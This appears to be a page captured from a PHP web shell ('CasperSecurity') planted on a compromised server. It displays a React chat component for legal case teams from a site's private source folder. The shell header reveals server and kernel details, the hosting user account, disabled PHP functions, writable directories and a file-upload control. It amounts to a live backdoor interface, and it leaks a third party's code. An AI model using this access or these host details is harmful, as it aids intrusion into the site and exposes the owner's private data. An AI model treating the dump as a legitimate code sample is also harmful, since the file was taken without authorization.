T.ME/BIBIL_0DAY
CasperSecurity


Server : Apache/2
System : Linux server-15-235-50-60 5.15.0-164-generic #174-Ubuntu SMP Fri Nov 14 20:25:16 UTC 2025 x86_64
User : gositeme ( 1004)
PHP Version : 8.2.29
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Directory :  /home/gositeme/domains/lavocat.ca/private_html/src/components/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/gositeme/domains/lavocat.ca/private_html/src/components/CaseChat.tsx
'use client';

import React, { useState, useEffect, useRef, useCallback } from 'react';
import { useSession } from 'next-auth/react';
import { Send, Paperclip, FileText, Users, Clock, AlertCircle, CheckCircle, MessageSquare } from 'lucide-react';
import { format } from 'date-fns';
import { useWebSocket } from '@/context/EnhancedWebSocketContext';
import { useToast } from '@/components/ui/use-toast';

interface CaseChatProps {
  caseId: string;
  caseTitle?: string;
  onClose?: () => void;
}

interface CaseMessage {
  id: string;
  content: string;
  type: 'TEXT' | 'FILE' | 'SYSTEM' | 'STATUS_UPDATE';
  fileUrl?: string;
  fileName?: string;
  fileSize?: number;
  mimeType?: string;
  createdAt: string;
  senderId: string;
  sender: {
    id: string;
    name: string;
    email: string;
    role: string;
    avatar?: string;
  };
  caseId: string;
  isSystem?: boolean;
  statusUpdate?: {
    oldStatus: string;
    newStatus: string;
    field: string;
  };
}

interface CaseTeamMember {
  id: string;
  name: string;
  email: string;
  role: string;
  avatar?: string;
  isOnline: boolean;
  lastSeen?: string;
}

const CaseChat: React.FC<CaseChatProps> = ({ caseId, caseTitle = 'Case Chat', onClose }) => {
  const { data: session } = useSession();
  const { ws, connected, sendTyping } = useWebSocket();
  const { toast } = useToast();
  
  const [messages, setMessages] = useState<CaseMessage[]>([]);
  const [newMessage, setNewMessage] = useState('');
  const [isLoading, setIsLoading] = useState(true);
  const [teamMembers, setTeamMembers] = useState<CaseTeamMember[]>([]);
  const [typingUsers, setTypingUsers] = useState<Set<string>>(new Set());
  const [isTyping, setIsTyping] = useState(false);
  const [showTeamPanel, setShowTeamPanel] = useState(true);
  
  const messagesEndRef = useRef<HTMLDivElement>(null);
  const fileInputRef = useRef<HTMLInputElement>(null);
  const typingTimeoutRef = useRef<NodeJS.Timeout>();

  // Auto-scroll to bottom
  const scrollToBottom = () => {
    messagesEndRef.current?.scrollIntoView({ behavior: 'smooth' });
  };

  useEffect(() => {
    scrollToBottom();
  }, [messages]);

  // Load case messages and team members
  useEffect(() => {
    if (!caseId || !session?.user) return;

    const loadCaseData = async () => {
      try {
        setIsLoading(true);
        
        // Load messages
        const messagesResponse = await fetch(`/api/cases/${caseId}/messages`, {
          credentials: 'same-origin',
        });
        
        if (messagesResponse.ok) {
          const messagesData = await messagesResponse.json();
          setMessages(messagesData.messages || []);
        }

        // Load team members
        const teamResponse = await fetch(`/api/cases/${caseId}/team`, {
          credentials: 'same-origin',
        });
        
        if (teamResponse.ok) {
          const teamData = await teamResponse.json();
          setTeamMembers(teamData.members || []);
        }

        // Join case chat room via WebSocket
        if (ws && ws.readyState === WebSocket.OPEN) {
          ws.send(JSON.stringify({
            type: 'JOIN_CASE_CHAT',
            data: { caseId }
          }));
        }

      } catch (error) {
        console.error('Error loading case chat data:', error);
        toast({
          title: "Error",
          description: "Failed to load case chat data",
          variant: "destructive",
        });
      } finally {
        setIsLoading(false);
      }
    };

    loadCaseData();

    // Cleanup: Leave case chat room
    return () => {
      if (ws && ws.readyState === WebSocket.OPEN) {
        ws.send(JSON.stringify({
          type: 'LEAVE_CASE_CHAT',
          data: { caseId }
        }));
      }
    };
  }, [caseId, session?.user, ws, toast]);

  // WebSocket message handling
  useEffect(() => {
    if (!ws) return;

    const handleMessage = (event: MessageEvent) => {
      try {
        const data = JSON.parse(event.data);
        
        if (data.type === 'CASE_MESSAGE' && data.data.caseId === caseId) {
          const message = data.data.message;
          setMessages(prev => [...prev, message]);
        } else if (data.type === 'CASE_TYPING' && data.data.caseId === caseId) {
          const { userId, isTyping: userTyping } = data.data;
          setTypingUsers(prev => {
            const newSet = new Set(prev);
            if (userTyping) {
              newSet.add(userId);
            } else {
              newSet.delete(userId);
            }
            return newSet;
          });
        } else if (data.type === 'CASE_STATUS_UPDATE' && data.data.caseId === caseId) {
          const systemMessage: CaseMessage = {
            id: `system-${Date.now()}`,
            content: `Case status updated: ${data.data.oldStatus} → ${data.data.newStatus}`,
            type: 'STATUS_UPDATE',
            createdAt: new Date().toISOString(),
            senderId: 'system',
            sender: {
              id: 'system',
              name: 'System',
              email: '',
              role: 'SYSTEM'
            },
            caseId,
            isSystem: true,
            statusUpdate: {
              oldStatus: data.data.oldStatus,
              newStatus: data.data.newStatus,
              field: data.data.field
            }
          };
          setMessages(prev => [...prev, systemMessage]);
        }
      } catch (error) {
        console.error('Error parsing WebSocket message:', error);
      }
    };

    ws.addEventListener('message', handleMessage);
    return () => ws.removeEventListener('message', handleMessage);
  }, [ws, caseId]);

  const sendMessage = async () => {
    if (!newMessage.trim() || !session?.user) return;

    try {
      const messageData = {
        content: newMessage,
        type: 'TEXT' as const,
        caseId,
        senderId: session.user.id,
        sender: {
          id: session.user.id,
          name: session.user.name || 'Unknown User',
          email: session.user.email || '',
          role: session.user.role || 'USER',
          avatar: session.user.image
        }
      };

      const response = await fetch(`/api/cases/${caseId}/messages`, {
        method: 'POST',
        headers: {
          'Content-Type': 'application/json',
        },
        credentials: 'same-origin',
        body: JSON.stringify(messageData),
      });

      if (response.ok) {
        const savedMessage = await response.json();
        setMessages(prev => [...prev, savedMessage]);
        setNewMessage('');
        
        // Send typing stop
        if (ws && ws.readyState === WebSocket.OPEN) {
          ws.send(JSON.stringify({
            type: 'CASE_TYPING',
            data: { caseId, userId: session.user.id, isTyping: false }
          }));
        }
      } else {
        throw new Error('Failed to send message');
      }
    } catch (error) {
      console.error('Error sending message:', error);
      toast({
        title: "Error",
        description: "Failed to send message",
        variant: "destructive",
      });
    }
  };

  const handleFileUpload = async (file: File) => {
    if (!session?.user) return;

    try {
      const formData = new FormData();
      formData.append('file', file);
      formData.append('caseId', caseId);

      const response = await fetch(`/api/cases/${caseId}/upload`, {
        method: 'POST',
        credentials: 'same-origin',
        body: formData,
      });

      if (response.ok) {
        const fileData = await response.json();
        
        const messageData = {
          content: `File uploaded: ${file.name}`,
          type: 'FILE' as const,
          caseId,
          fileUrl: fileData.url,
          fileName: file.name,
          fileSize: file.size,
          mimeType: file.type,
          senderId: session.user.id,
          sender: {
            id: session.user.id,
            name: session.user.name || 'Unknown User',
            email: session.user.email || '',
            role: session.user.role || 'USER',
            avatar: session.user.image
          }
        };

        const messageResponse = await fetch(`/api/cases/${caseId}/messages`, {
          method: 'POST',
          headers: {
            'Content-Type': 'application/json',
          },
          credentials: 'same-origin',
          body: JSON.stringify(messageData),
        });

        if (messageResponse.ok) {
          const savedMessage = await messageResponse.json();
          setMessages(prev => [...prev, savedMessage]);
        }
      } else {
        throw new Error('Failed to upload file');
      }
    } catch (error) {
      console.error('Error uploading file:', error);
      toast({
        title: "Error",
        description: "Failed to upload file",
        variant: "destructive",
      });
    }
  };

  const renderMessage = (message: CaseMessage, index: number) => {
    const isSender = message.senderId === session?.user?.id;
    const isSystem = message.isSystem || message.type === 'SYSTEM' || message.type === 'STATUS_UPDATE';
    const prevMessage = index > 0 ? messages[index - 1] : null;
    const showAvatar = !isSender && !isSystem && (!prevMessage || prevMessage.senderId !== message.senderId);

    return (
      <div
        key={message.id}
        className={`flex gap-3 mb-4 ${isSender ? 'justify-end' : 'justify-start'}`}
      >
        {showAvatar && (
          <div className="w-8 h-8 rounded-full bg-gray-300 flex items-center justify-center text-sm font-medium">
            {message.sender.name.charAt(0).toUpperCase()}
          </div>
        )}
        
        <div className={`max-w-xs lg:max-w-md ${isSender ? 'order-first' : ''}`}>
          {!isSender && showAvatar && (
            <div className="text-xs text-gray-500 mb-1">{message.sender.name}</div>
          )}
          
          <div className={`rounded-lg p-3 ${
            isSystem 
              ? 'bg-yellow-50 border border-yellow-200 text-yellow-800' 
              : isSender 
                ? 'bg-blue-500 text-white' 
                : 'bg-gray-100 text-gray-900'
          }`}>
            {message.type === 'FILE' && (
              <div className="flex items-center gap-2 mb-2">
                <FileText className="h-4 w-4" />
                <span className="text-xs">
                  {message.fileName}
                </span>
              </div>
            )}
            
            <div className="text-sm">{message.content}</div>
            
            {message.type === 'STATUS_UPDATE' && (
              <div className="text-xs mt-1 opacity-75">
                Status Update
              </div>
            )}
          </div>
          
          <div className="text-xs text-gray-500 mt-1">
            {format(new Date(message.createdAt), 'MMM d, h:mm a')}
          </div>
        </div>
      </div>
    );
  };

  if (isLoading) {
    return (
      <div className="w-full h-[600px] bg-white rounded-lg shadow-sm border">
        <div className="p-4 border-b border-gray-200">
          <h3 className="text-lg font-semibold flex items-center gap-2">
            <MessageSquare className="h-5 w-5" />
            {caseTitle}
          </h3>
        </div>
        <div className="flex items-center justify-center h-96">
          <div className="text-center">
            <div className="animate-spin rounded-full h-8 w-8 border-b-2 border-blue-500 mx-auto mb-2"></div>
            <p className="text-gray-500">Loading chat...</p>
          </div>
        </div>
      </div>
    );
  }

  return (
    <div className="w-full h-[600px] bg-white rounded-lg shadow-sm border">
      <div className="p-4 border-b border-gray-200">
        <div className="flex items-center justify-between">
          <h3 className="text-lg font-semibold flex items-center gap-2">
            <MessageSquare className="h-5 w-5" />
            {caseTitle}
          </h3>
          <div className="flex items-center gap-2">
            <button
              className="inline-flex items-center px-3 py-2 border border-gray-300 text-gray-700 text-sm rounded-lg hover:bg-gray-50 transition-colors"
              onClick={() => setShowTeamPanel(!showTeamPanel)}
            >
              <Users className="h-4 w-4 mr-1" />
              Team
            </button>
            {onClose && (
              <button 
                className="inline-flex items-center px-3 py-2 border border-gray-300 text-gray-700 text-sm rounded-lg hover:bg-gray-50 transition-colors"
                onClick={onClose}
              >
                Close
              </button>
            )}
          </div>
        </div>
      </div>
      
      <div className="flex h-full">
        {/* Messages Area */}
        <div className="flex-1 flex flex-col">
          {/* Messages */}
          <div className="flex-1 p-4 overflow-y-auto">
            {messages.length === 0 ? (
              <div className="text-center py-8">
                <MessageSquare className="h-12 w-12 text-gray-400 mx-auto mb-3" />
                <p className="text-gray-500">No messages yet. Start the conversation!</p>
              </div>
            ) : (
              <div className="space-y-4">
                {messages.map((message, index) => renderMessage(message, index))}
                {typingUsers.size > 0 && (
                  <div className="flex gap-3">
                    <div className="w-8 h-8 rounded-full bg-gray-300 flex items-center justify-center text-sm font-medium">
                      ?
                    </div>
                    <div className="bg-gray-100 rounded-lg p-3">
                      <div className="flex space-x-1">
                        <div className="w-2 h-2 bg-gray-400 rounded-full animate-bounce"></div>
                        <div className="w-2 h-2 bg-gray-400 rounded-full animate-bounce" style={{ animationDelay: '0.1s' }}></div>
                        <div className="w-2 h-2 bg-gray-400 rounded-full animate-bounce" style={{ animationDelay: '0.2s' }}></div>
                      </div>
                    </div>
                  </div>
                )}
                <div ref={messagesEndRef} />
              </div>
            )}
          </div>

          {/* Input Area */}
          <div className="p-4 border-t border-gray-200">
            <div className="flex gap-2">
              <input
                type="text"
                value={newMessage}
                onChange={(e) => setNewMessage(e.target.value)}
                onKeyPress={(e) => e.key === 'Enter' && sendMessage()}
                placeholder="Type your message..."
                className="flex-1 px-3 py-2 border border-gray-300 rounded-lg focus:outline-none focus:ring-2 focus:ring-blue-500 focus:border-transparent"
              />
              <button
                className="inline-flex items-center px-3 py-2 bg-gray-100 text-gray-700 rounded-lg hover:bg-gray-200 transition-colors"
                onClick={() => fileInputRef.current?.click()}
                title="Attach file"
              >
                <Paperclip className="h-4 w-4" />
              </button>
              <button 
                className="inline-flex items-center px-3 py-2 bg-blue-600 text-white rounded-lg hover:bg-blue-700 transition-colors disabled:opacity-50 disabled:cursor-not-allowed"
                onClick={sendMessage} 
                disabled={!newMessage.trim()}
              >
                <Send className="h-4 w-4" />
              </button>
            </div>
            <input
              ref={fileInputRef}
              type="file"
              className="hidden"
              onChange={(e) => {
                const file = e.target.files?.[0];
                if (file) {
                  handleFileUpload(file);
                  e.target.value = '';
                }
              }}
            />
          </div>
        </div>

        {/* Team Panel */}
        {showTeamPanel && (
          <div className="w-64 border-l border-gray-200 p-4">
            <h4 className="font-semibold mb-3">Team Members</h4>
            <div className="space-y-2">
              {teamMembers.map((member) => (
                <div key={member.id} className="flex items-center gap-2 p-2 rounded-lg hover:bg-gray-50">
                  <div className="w-8 h-8 rounded-full bg-gray-300 flex items-center justify-center text-sm font-medium">
                    {member.name.charAt(0).toUpperCase()}
                  </div>
                  <div className="flex-1 min-w-0">
                    <div className="text-sm font-medium truncate">{member.name}</div>
                    <div className="text-xs text-gray-500 truncate">{member.role}</div>
                  </div>
                  <div className={`w-2 h-2 rounded-full ${member.isOnline ? 'bg-green-500' : 'bg-gray-300'}`}></div>
                </div>
              ))}
            </div>
          </div>
        )}
      </div>
    </div>
  );
};

export default CaseChat; 

CasperSecurity Mini